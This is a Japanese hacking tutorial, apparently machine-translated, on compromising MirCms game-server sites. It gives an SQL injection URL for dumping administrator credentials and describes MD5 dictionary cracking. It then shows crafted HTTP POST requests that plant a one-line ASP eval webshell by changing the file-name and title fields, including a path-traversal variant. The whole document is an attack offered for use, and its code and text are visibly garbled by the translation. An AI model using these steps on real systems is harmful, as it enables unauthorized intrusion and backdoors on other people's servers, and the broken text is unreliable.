MirCms伝奇私服のWebShellをさらに取得します。


黒防の2005年第6期では、MirCmsにおける投票サブシステムの脆弱性について、ライオンが書いています。読むと、ログイン認証エラーのような脆弱性がある以上、他のより一層利用できるような脆弱性があると思います。本論文ではこのシステムにおけるこれらの脆弱性を利用してそのWebShellを取得する。 
一、管理者のアカウントとパスワードを取得する。 
サイトのルートディレクトリの下のyns_tupdata.aspにSQLの書き込みホールがあります。管理者のアカウントとパスワードを取得して、下記のコードクリップを見ます。 
If。 (Request.QueryString(「t_」id') <> "") The n  
rst_MMColParam = Request.QueryString(「t_」id') 
End If。 
…… 
rst.Source = "SELECT * FROM tう。タイプ WHERE tう。id。 = " + Replace(rst_u u)MMColParam "'", "''") + "" 
変数t(u)IDは単引用符をフィルタしただけでSQL文に送ります。これで使えます。 1 or 1=1の形で注入し、NBIIを開いて注入アドレスを入力します。http://xxx/yns_tupdata.asp?t_id=1 or 1=1はネット上でこのシステムのソースコードにダウンできますので、私達がテーブル名と列名を当てる過程を省きました。 
パスワードはMD 5暗号化されています。また、バックグラウンドはSession検証されていますので、私たちは正直にその元のパスワードを解読するしかありません。MD 5を解読するには、よく使う暗号の辞書を使って走ります。その後は運次第です。ここで私はアカウント<雲が知っているなら>のパスワードを得ました。49ba 59abe 56e 057=>123456、OKです。このアカウントで楽屋に登録します。注:私たちはlevelを1とするアカウントを取得するだけで十分です。そして、一般的にこのクラスのアカウントのパスワードは簡単です。 
二、さらにWebShellを取得する。 
とりあえずyns_を見てみましょう。naddsave.aspのコードの断片 
mm_パス = server.MapPath(rst.Fields.Item)dir「.Value」/「&」(rsts.Fields.Item("tsu.)dir").Value"/" 
&request.Form(「n_」fpath「」/「&request.Form(」n_fname") 
… 
セット fout = fso.C reat Text File(mm_パス) 
fout.WriteLine pencat 
fout.close 
プログラムはフォームからn_を取得します。fname後に拡張子検査を行わずに合成しました。path変数は、fso関数を利用してn_で生成されます。fnameはファイル名のファイルです。これは私達がn_を修正しさえすればいいです。fnameの値は xxx.aspは簡単にサーバー上でASP木馬を生成できます。それから、このファイルの内容はどうやって生成されたのか見てみます。 
N唵Title=Request.Form("n_"title") 
… 
mm_template_パス = server.MapPath(「templates/type_」template/type_ソソンtemplate/detail_template.httm") 
… 
セット fso_ライン = fso.opentextfile(mm_template_パス、1、True)  
pencat=fso_ライン.readall 
end if 
pencat=replace(pencat),"t_"title",n_title) 
上から私達はプログラムがdetail_であることが分かります。template.htmの内容を読み込み、関連変数を置き換えてファイルを作成する内容を得ました。ここではt_を利用します。titleという変量を使ってASP木馬コードを書き込みます。試してみます。WinSockを開けます。 Expertはバックグランドで文章を書きます。バッグの内容は以下の通りです。 
POST /ynsnaddsave.asp HTTP/1.1 
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/ 
vnd.ms-パワーポイント、 アプリ/msword、 */* 
Referer: http://xxx/MirCMS_Add.asp 
Acceept Language: zh-cn 
コンテント-Type: アプリ/x-www-form-urlencoded 
Acceept Ecoding: gzip、 deflate 
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422) 
Host:xxx.net 
Conteet Length:199 
Connection: Keep-Alive 
Cache-Coontrol: no-cache 
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF 
n唵tid=52&n_tsid=56&n_sid=&n_title=test&n_author=%C 8%E 7%B 9%FB%D 4%C 6%D 6%AA% B 5%C 0&n_mpic=&n_rpic=&n_fname=20053151744666.httm&n_fpath=2005-6-6&n_ダテ=2005-6-6+6%3 A 50%3 A 22&n_content=ttt&MM_insert=form 1 
ここで私達はn_をfnameの値を1.aspに変えて、n_titleの値は私達の常用するひと言の木馬に変えて、書き込むASPコードがunicodeコードを使って後での形式をエンコードする必要があることに注意します。SCRIPT%20 RUNAT=SERVER%20 LANGUAGE= 
JAVSCRIPT>eval(Request.form('(奛嚔')は、最後に、封緘の大きさを改めて計算することを忘れないでください。Content-Lengthの値を変更します。この部分の知識は、インターネット上の脆弱性を研究している時には、皆さんはすでに研究しましたよね。 
POST /ynsnaddsave.asp HTTP/1.1 
Accept: イメージ/gif、 イメージ/x-xbitmap、 イメージ/jpeg、 イメージ/pjpeg、 appication/x-shocwave-flash、 アプリ/ 
vnd.ms-パワーポイント、 アプリ/msword、 */* 
Referer: http://xxx/MirCMS_Add.asp 
Acceept Language: zh-cn 
コンテント-Type: アプリ/x-www-form-urlencoded 
Acceept Ecoding: gzip、 deflate 
User-Agent: Mozia/4.0 (comppatible MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.422) 
Host:xxx.net 
Conteet Length: 261 
Connection: Keep-Alive 
Cache-Coontrol: no-cache 
Cookie: ASPSESSIOID SCQTAQB=JLOPEBEBAFEBBJAJCGHKCF 
n唵tid=52&n_tsid=56&n_sid=&n_title=eval(Request.form('啢')% 2 B')&n_author=%C 8%E 7%B 9%FB%D 4%C 6%D 6%AA% B 5%C 0&n_mpic=&n_rpic=&n_fname=1.asp&n_fpath=2005-6-6&n_ダテ=2005-6-6+6%3 A 50%3 A 22&n_content=ttt&MM_insert=form 1 
最後にNCを使って修正した封緘を提出して、MirCMS_に行きます。Html/xxx/年-月-日/下は私達の木馬を探し当てることができて、もちろんウェブサイトの管理人がBTを比較するならばミルCMS_を設置するかもしれません。HtmlカタログではASPファイルは実行できませんが、大丈夫です。n_だけお願いします。fnameの値を.に変更しました。/1.aspをルートディレクトリに切り替えるだけでいいです。WebShellの残りの部分があれば、みんなで見てやってもいいです。